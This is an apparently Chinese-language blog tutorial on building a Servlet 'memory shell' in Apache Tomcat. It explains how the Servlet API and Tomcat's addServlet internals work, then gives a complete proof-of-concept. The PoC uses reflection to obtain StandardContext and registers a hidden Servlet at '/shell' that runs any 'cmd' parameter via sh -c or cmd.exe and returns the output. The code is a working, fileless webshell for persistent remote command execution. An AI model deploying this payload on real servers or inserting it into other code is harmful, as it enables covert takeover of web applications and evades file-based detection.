目录
前言:
(一)Servlet的创建
1、实现javax.servlet.Servlet接口的方式
2、继承GenericServlet类创建Servlet
3、继承了HttpServlet进行创建
(二)分析注入方式
代码分析
(三)payload
1、StandardContext对象
2、自定义的Servlet
3、通过Wrapper进行封装
4、Wrapper添加进入children
5、url映射
完整poc
(四)总结
Servlet存马的创建流程
上个星期分析了filter内存马的原理和payload,此次分析的Servlet内存马。利用链相对来说要简单一点,主要是研究整个调用过程,比较短,通过debug调试方便理解调用过程。
可以先看一下 Servlet 这个接口有哪些方法:
public interface Servlet {  void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。  ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数  void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;  //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。  String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.  void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源  
}javax.servlet.Servlet接口的方式public class ServletTest implements Servlet {@Overridepublic void init(ServletConfig config) throws ServletException {System.out.println("init.....");}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {System.out.println("service.....");}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {System.out.println("destroy.....");}
}其中的
init是在Servlet被创建的时候才会执行的方法,而service就是对客户端进行相应的方法逻辑,在destroy就是在该Servlet被销毁的时候会调用的方法,至于其余两个方法getServletConfig/getServletInfo都是一些非生命周期的调用
GenericServlet类创建Servletpublic class ServletDemo2 extends GenericServlet {@Overridepublic void service(ServletRequest arg0, ServletResponse arg1)throws ServletException, IOException {System.out.println("service....");}
}HttpServlet进行创建public class ServletDemo3 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doGet...");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doPost...");doGet(req,resp);}}其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装。

由上图可知:
GenericServlet 是实现了 Servlet 接口的抽象类。
HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
        同样需要通过代码层面达到Servlet的构建,而不通过xml配置文件添加映射,同样是在javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法,如下图2-1


从注释中我们可以知道他是通过
addServlet方法的调用来创建Servlet类,他在Tomcat容器中的实现为org.apache.catalina.core.ApplicationContext#createServlet方法,如图2-3

addServlet的声明,如图 2-4
同样是存在三种重载方法,通过传入ServletName / ServletClass 来返回了一个ServletRegistration.Dynamic类型

首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
之后将会在
context中通过servletName查找对应的child并将其转化为Wrapper对象
如果没有找到,将会创建一个Wrapper对象,在添加进入
servletName之后将wrapper添加进入context的child中去
如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
之后如果存在初始化参数的时候,将进行初始化操作
最后创建了一个
ApplicationServletRegistration类,通过带入wrapper和context
同样有着程序在运行过程中不能够添加Servlet的限制,那么,它们如何绕过呢?
我们可以关注到ApplicationServletRegistration#addMapping这个方法中。

可以分析出来通过调用了
StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。

 同时其wrapper是通过调用findChild带上ServletName获取到的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了:
首先需要创建一个自定义的Servlet类
之后通过Wrapper对其进行封装
再将封装之后的wrapper添加进入
StandardContext类中的children中去
最后通过调用addServletMappingDecoded方法添加url映射
StandardContext对象首先需要获取到
StandardContext对象,这里采用了循环获取的方式,知道获取到该对象。
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {Field f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}
}Servlet//自定义servlet
Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}
};//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);//向children中添加Wrapper
o.addChild(newWrapper);//添加servlet的映射
o.addServletMappingDecoded("/shell", name);package pres.test.momenshell;import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;public class AddTomcatServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {String name = "RoboTerh";//从req中获取ServletContext对象ServletContext servletContext = req.getServletContext();if (servletContext.getServletRegistration(name) == null) {StandardContext o = null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象while (o == null) {Field f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}}//自定义servletServlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};//用Wrapper封装servletWrapper newWrapper = o.createWrapper();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);//向children中添加Wrappero.addChild(newWrapper);//添加servlet的映射o.addServletMappingDecoded("/shell", name);PrintWriter printWriter = resp.getWriter();printWriter.println("servlet added");}}catch (Exception e) {e.printStackTrace();}}
}观察上面的内存马,可以知道是将内存马的payload执行部分放在了doPost过程中,且在doGet方法中调用doPost,所以一旦我们访问这里httpServlet,将会执行我们的payload, 达到注入内存马的目的。
其实完全可以搭建一个CC依赖获取其他可以进行反序列化的的链子,通过反序列化的方式注入内存马的方式更加常见一些。
创建恶意Servlet
用Wrapper对其进行封装
添加封装后的恶意Wrapper到StandardContext的children当中
添加ServletMapping将访问的URL和Servlet进行绑定